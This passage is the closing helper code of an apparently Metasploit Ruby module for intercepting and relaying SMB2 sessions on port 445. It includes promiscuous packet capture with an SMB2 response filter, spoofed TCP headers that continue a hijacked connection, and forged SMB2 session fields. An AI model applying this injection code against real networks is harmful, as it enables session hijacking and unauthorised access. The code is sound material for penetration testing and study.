    return true # Done.
  end

  # This sends a packet and captures the response.
  def get_response(packet)
    packet.recalc
    rc = PacketFu::Capture.new(iface: @interface, promisc: true)
    rc.capture
    rc.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and src port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] = 0xfe534d42 and tcp[4:4] = #{packet.tcp_header.tcp_ack}")
    packet.to_w(@interface)
    rc.stream.each_data do |data|
      packet = PacketFu::Packet.parse(data)
      if packet.instance_of?(PacketFu::TCPPacket)
        break packet
      end
    end
  end

  # This generates the TCP header for a new packet based on the previous one.
  def make_tcp_header(response)
    PacketFu::TCPHeader.new(
      tcp_src: response.tcp_header.tcp_dst,
      tcp_dst: response.tcp_header.tcp_src,
      tcp_seq: response.tcp_header.tcp_ack,
      tcp_ack: response.tcp_header.tcp_seq + response.payload.size,
      tcp_win: response.tcp_header.tcp_win,
      tcp_flags: { ack: 1, psh: 1 }
    )
  end

  # This sets the smb2 header flags on the request with the provided values.
  def set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.smb2_header.tree_id = tree_id
    request.smb2_header.process_id = process_id
    request.smb2_header.credit_charge = 1
    request.smb2_header.credits = 256
    request.smb2_header.message_id = response_smb2.smb2_header.message_id + 1
    request.smb2_header.session_id = response_smb2.smb2_header.session_id
    nil
  end

  # This converts a string to a binary mac.
  def str2mac(str)
    # [str.split(':').join].pack('H*')
    Rex::Socket.eth_aton(str)
  end

  # This converts a binary mac to a string.
  def mac2str(mac)
    # mac.to_s.bytes.map { |s| s.to_s(16).rjust(2, '0') }.join(':')
    Rex::Socket.eth_ntoa(mac)
  end

  # This converts a string to a binary ip.
  def str2ip(str)
    # str.split('.').map(&:to_i).pack('C*')
    Rex::Socket.addr_aton(str)
  end

  # This converts a binary ip to a string.
  def ip2str(ip)
    # ip.bytes.map(&:to_s).join('.')
    Rex::Socket.addr_ntoa(ip)
  end

  # This converts an integer to a binary ip.
  def int2ip(int)
    # [int].pack('N')
    Rex::Socket.addr_iton(int)
  end

  # This cleans up and exits all the active threads.
  def cleanup
    @cleanup_mutex.synchronize do
      unless @cleanedup
        print_status 'Cleaning Up...'
        @syn_capture_thread.exit if @syn_capture_thread
        @ack_capture_thread.exit if @ack_capture_thread
        @main_threads.map(&:exit) if @main_threads
        reset_p445_fwrd
        @cleanedup = true
        print_status 'Cleaned Up.'
      end
    end
  end
end